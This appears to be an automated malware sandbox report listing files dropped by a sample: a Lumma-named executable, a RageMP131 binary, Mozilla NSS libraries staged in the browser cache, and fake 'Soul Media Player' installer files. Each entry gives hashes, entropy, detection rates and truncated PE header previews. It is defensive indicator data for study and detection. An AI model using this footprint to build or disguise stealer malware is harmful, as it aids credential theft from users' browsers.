Preview:	..fUXO......................................................................4..Y.4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;...1.......EP..Y....#...............E..O]..Q......;m]..5....]......5........................_..............................................b].^.....].......................\......................................................5...............5..]...........;apma...!M]..5...O].................5..u;gfgv.........]..W...I].................;gpyzv........\.......\................W.................m].....]........e...........U...d..............................................#>.=.<y.=.U..?../>.=!.@..=....?.C>.=m@.\..=....-.....?..W>.=...)k.......?...#>.=^"DZk....?...%..........>.=..}F5........-........P........ ...3...-....f.........5.....,....35....-....?f.........-:...f.........5.....,....35....-....f.........-....f.........-........%..>.......>.=.. "-......?-....-.....k....z......-......%..>.......>.=\|2[w-......?.k....z......-....-....-......%..3.......>.=.I_+.k....z..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\imgdrive_2_1[1].bmp

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	data
Category:	dropped
Size (bytes):	6153220
Entropy (8bit):	6.377643292816472
Encrypted:	false
SSDEEP:	98304:MpfBkrNIUp96am5aY7LfSnlu0SBT113oufTkPH8BhwtAhWYxO703uw:MjmIU6SYV711ZTkEBhwwxO7Kuw
MD5:	7B284CFC3CDF77F706342B3286160AE4
SHA1:	33BA021D323680BECE781474CD2E36949D502DBF
SHA-256:	96C140DC6A89A13861DFFB8BCF7FF312AB521E31844800199A6F8B9686478B70
SHA-512:	539DBB8CD1FCF9983DCF28B7C12619BE83DA4C2CDAB74C30804C655D4E5577F5DC99B21277F3607A7D7D3D027C31BEE6446779A1AB77A9B5EA7EAA4F6298CA47
Malicious:	false
Reputation:	unknown
Preview:	..fUXO......................................................................4..Y.4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;...1.......EP..q.................;....1..3...H..............................................%q.....h.K...u...5......................................5w.[....%w......ew.R.....N..............Ev..............................9N.=...................i!w.............................;apma.....3.......3.................u.uu;qtat.........2.......3...............u.;gqtat....;...9...;..i9...............u.;eqtat........N......=N...............%.;mqtat..Q....%I.......I...............%.;wff..........I.......................u.;pqtat..[....5w.......I...............%.;\|qtat.......%w.......I...............%.;VGA....e....Ew......%I.................;ayf.........uw......'I.................;gfgv...R....ew......!I...............%.;gpyzv.......Ev.......H...............%W............................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\lumma1504[1].exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	315904
Entropy (8bit):	7.9900301024348765
Encrypted:	true
SSDEEP:	6144:DVa+NrJiVBc2wc6oKXwdUWFQg1SGWEWAMiY7ivtaqgntTZXHAYq7:J1NrJaBcOOiHWEWAMFKtdstTfq
MD5:	C60F5FA3A579BCA2C8C377F7E15B2221
SHA1:	D44B5C6DD64284F00D6F9D05CF5327A91CAD9339
SHA-256:	F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
SHA-512:	F419ADF4BD07CE18D9B7DE7445B2D0185653DE27738FD4403F880EE11BF49CA8A1958C1B2C94F8F4C5DA52EBC79462CFB6FE71849439F6AF017A95B44AF2F77B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5..........."...0.............~2... ........@.. .......................@............`.................................,2..O............................ .......1..8............................................ ............... ..H............text...H.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................`2......H........$.................................................................]....0..#.........i. .......... .............+B.....- ....d....(....(...............+.......(...........o......X.. ....2.....+7. ....... ..............XX.. ....]...................X.. ....2........+f...+T..X ....].....X ....]...........&...................X ....]..........%G....a.R...X......i2....X.....2....................(....n .........%.....(..........0..H.........89.....P......%G ....X.R.P....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\setup[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7017926
Entropy (8bit):	7.996436990304373
Encrypted:	true
SSDEEP:	196608:91OT2zjVpYD8vDwJmaHxbS2Os9qP0eEVV2:3OT2tpRvDqRbhOZ0fVV2
MD5:	A134C160036C6542BE45BA9FC2D8132D
SHA1:	D029BC9DD75936B64E007FE638C26A4FCC0FB1C3
SHA-256:	49C60DEBD7513CA11D1620FB7B298E491717A78A88FECE9833EADCA08FA20A7A
SHA-512:	B014A271FE2431905C0698FB442F91D7D936B97DF17912C2068607FF36F72BB3E3344153F90B910248B4FF82681527347BC0575A7B73AE64A8E9B637137F6F41
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\sqln[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1049600
Entropy (8bit):	7.586813349499062
Encrypted:	false
SSDEEP:	24576:7peBIQfi0lwzUpIEeQxsxPInhWsn0aDG3W:7UB7f3VxsZ4Wsn00Gm
MD5:	BABB0A05BFFC1AA3AD452F745FF1C9E1
SHA1:	95C86A5F55AB1A5481B4B8ADEE86677A9740B2DE
SHA-256:	1A6CF9AA24099FBC37FAC9B157A5DC41FA7003279749512314DAF8FE6157B27B
SHA-512:	F1FAF7D0C53778FAD98C413FFF2D3CF8DFC4A454B37AB4523B697268D0E81761BB0E6808532B9F819A89F8CBB282151ADD563B3D6E477806EDE20252D89E1C2B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L....Y.d......................k.....+e............@...........................l.....1........................................Q..x.....j..$..........................0...8....................<.......<..@............................................text............................... ..`.rdata.............................@..@.data.....h..`.......B..............@....rsrc....$....j..&..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\is-3VR8O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\is-CQ6FP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	data
Category:	dropped
Size (bytes):	3788066
Entropy (8bit):	6.3006414559153505
Encrypted:	false
SSDEEP:	98304:tmC/ri4AOsqOTbIGYto0kvcK5h6a1wrvG:tm4zAOsH01cnwDG
MD5:	1BEC1A8ED4BEACB21B081112245923E2
SHA1:	1A1DFE18B5B8C7429835147EA9CE8240AA9D10FA
SHA-256:	E27BE3E7D442E9BF80370D4175E32B8C1067DC7285BB3AC6955DA4747AF92B94
SHA-512:	5D5FA7D5A4BD0C46559EBFD84250A44D38AC43CC6BCF381A40DA3E292910F2E2E545BD9A6292A67A3D37C97609B6CA2CCC95C2D487DAD892F2634FD7023D35D8
Malicious:	false
Reputation:	unknown
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....^..........#..................x............@...........................:.............................................,........p..................................................................................X............................text............................... ..`.rdata..F=.......@..................@..@.data....S.......0..................@....rsrc........p.......@..............@..@.rview7...(..`..".(..0..............a.'.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\is-EGFT5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\is-GGLJH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	data
Category:	dropped
Size (bytes):	463552
Entropy (8bit):	5.599726933414548
Encrypted:	false
SSDEEP:	6144:1v1LP70TRPsLj3npXMEme9VE4jiEB9EpVYz:nPHp8E59VE4OEBwez
MD5:	16CF86848A0BC06CFD7263709C532C93
SHA1:	1A12E44836A555991264F98AD9F85F6C3D679982
SHA-256:	26CD906968EE228FA898B8FE1E70200DBFED5FA22A8BED9794C85B288DED82E4
SHA-512:	B0E691B3CB6A3AF417DFBE91F0422504C2429F055B84A8AD46F4406362877D6DCDD1F6BDB689C67744C3434700102CF6CC6D3FC9AFDD9436643A1945187BCBC2
Malicious:	false
Reputation:	unknown
Preview:	........=*..10.9.194.10.....................................................X....c...7......p...........a........a........aR.......ar.......a........a.......... ...%.D.5....`$.... ....D.9..u.`$.... ..D.=....`$.... ..].D.A....`$.... ....D.E..y.`D.... ....D.I....`$.... ..%.D.M....`$.... ..D.Q....`$.... ..D.U....`$.... ....D.Y..}.`$.... ..D.]....`$.... ..D.a....`$.... .ID.e....`$.... ..D.i....`$.... ..D.m....`$....(Jb....D.....@..F^.!...U`....`.....(Jb....H.....@..F^..@`.....D...IDa........D`....D`....D`.......`.....D]D....D`.......VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa............L.................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\is-GP76V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\is-J3AJ7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	4.724752649036734
Encrypted:	false
SSDEEP:	3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
MD5:	8642DD3A87E2DE6E991FAE08458E302B
SHA1:	9C06735C31CEC00600FD763A92F8112D085BD12A
SHA-256:	32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
SHA-512:	F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
Malicious:	false
Reputation:	unknown
Preview:	{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

C:\Users\user\AppData\Local\Soul Media Player\is-RB9QN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	data
Category:	dropped
Size (bytes):	163520
Entropy (8bit):	4.871982862640311
Encrypted:	false
SSDEEP:	1536:gq3dmSi74uUaTDJT3iAzoD41Ozl963dptyS//S29BgyL7OoxS4M7egm4DGNDa4Jo:gvTFT38D41Ox96tmW7Dg7KuZ4I3V
MD5:	04D8E967D61E02A74AADE39E8C1D9A2E
SHA1:	D2A7A4401435FB62AD1359BC2C3ABA6C61D61DBA
SHA-256:	1DDA0C7790693C4E36F5B978F548B6BB125B6C03FACEA2DFC1A92A0F54A93BF0
SHA-512:	A7B21058A8CB260FA953D448878982D4FEBFEEFC08FD036C30523FDD55BF5F6E24DB0375ECE9C3516EB5BE4F40B3895785B089DA5B526CD970338AFFA3ADF85D
Malicious:	false
Reputation:	unknown
Preview:	........z.x.10.9.194.10......................................................;...............;..a........a........a........ar.......a........a.......... ...%.D.5....`$.... ....D.9..u.`$.... ..D.=....`$.... ..].D.A....`$.... ....D.E..y.`D.... ....D.I....`$.... ..%.D.M....`$.... ..D.Q....`$.... ..D.U....`$.... ....D.Y..}.`$.... ..D.]....`$.... ..D.a....`$.... .ID.e....`$.... ..D.i....`$.... ..D.m....`$....(Jb....D.....@..F^.!...U`....`.....(Jb....H.....@..F^..@`.....D...IDa........D`....D`....D`.......`.....D]D....D`.......VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa............L.........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\is-TIE2M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	674074
Entropy (8bit):	6.478474780242325
Encrypted:	false
SSDEEP:	12288:feuHnWgyrgVu4rPy37WzH0A6uaF4JNK3NFRvYNajlxpT:GuHcrgVxrPy37WzH0A6uwkNKkKlxpT
MD5:	A5D43A9A77DF3D6C4A4EAC14D1A56408
SHA1:	3DC50A354E3DA0033361CA21C64CAB658AE5C353
SHA-256:	7D5C1703F4964D1ECFBA67C58420ADD22F5938CAD9AE23E233D8396DC71FAEB5
SHA-512:	5984EC45436F9BB19122929B93CD65FA9A99B73A28EAF0D8B341D19C0BC6B2A116E08B4D47B650CBDE4A57E91D21B315C194DBC102E7A0F3C67535CDFECB6240
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..............................................@.............................."%.......0...................................................@......................................................CODE....,........................... ..`DATA................................@...BSS.....T................................idata.."%.......&..................@....tls.........0...........................rdata.......@......................@..P.reloc.......P......................@..P.rsrc....0.......0..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Soul Media Player\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
